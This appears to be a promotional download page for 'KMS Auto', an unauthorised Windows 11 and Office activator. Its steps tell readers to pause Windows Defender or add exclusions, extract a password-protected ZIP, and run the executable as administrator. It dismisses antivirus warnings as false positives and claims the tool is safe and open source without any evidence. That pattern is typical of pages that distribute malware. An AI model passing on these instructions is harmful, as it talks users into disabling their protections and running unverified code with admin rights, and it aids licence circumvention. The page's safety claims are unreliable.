How to Activate KMS Auto on Windows 11 Free 2026 — Step-by-Step Guide
Step-by-step guide to install KMS Auto on Windows 11 (incl. 24H2 + ARM64). Disable Defender, extract with password WYqejXiqBi97, run as admin — permanent HWID activation in 60 seconds.
WYqejXiqBi97Installing KMS Auto on Windows 11 takes about 60 seconds. The HWID method binds a digital license to your hardware so the activation survives every Windows 11 feature update — including 24H2 and 25H2.
Before you start
Windows Defender quarantines every activator on download — this is a false positive, not malware. Add the download folder to Defender exclusions or pause real-time protection for 2 minutes.
Step-by-step installation
Follow these 5 steps exactly.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
Verify activation on Windows 11
Press Win+R → type slmgr /xpr → if the dialog says 'The machine is permanently activated' you are done. Alternatively open Settings → System → Activation — the page must read 'Windows is activated with a digital license'.
Works on every Windows 11 edition
Tested on Home, Pro, Pro for Workstations, Enterprise, Education, IoT Enterprise LTSC. ARM64 builds (Surface Pro X, Snapdragon X) supported via TSforge.
Frequently asked questions
▸Is KMS Auto free?
Yes — 100% free, no ads, no surveys, no premium tier.
▸Is KMS Auto safe?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it edits Windows licensing — that is a false positive.
▸Does KMS Auto work offline?
Ohook activation runs fully offline. HWID needs a short internet handshake; afterwards you can disconnect permanently.
▸What is the archive password?
WYqejXiqBi97 — the same password for every download on this site.
▸Will the activation survive Windows updates?
Yes. HWID binds the license to your hardware ID so it survives feature updates and even fresh reinstalls.
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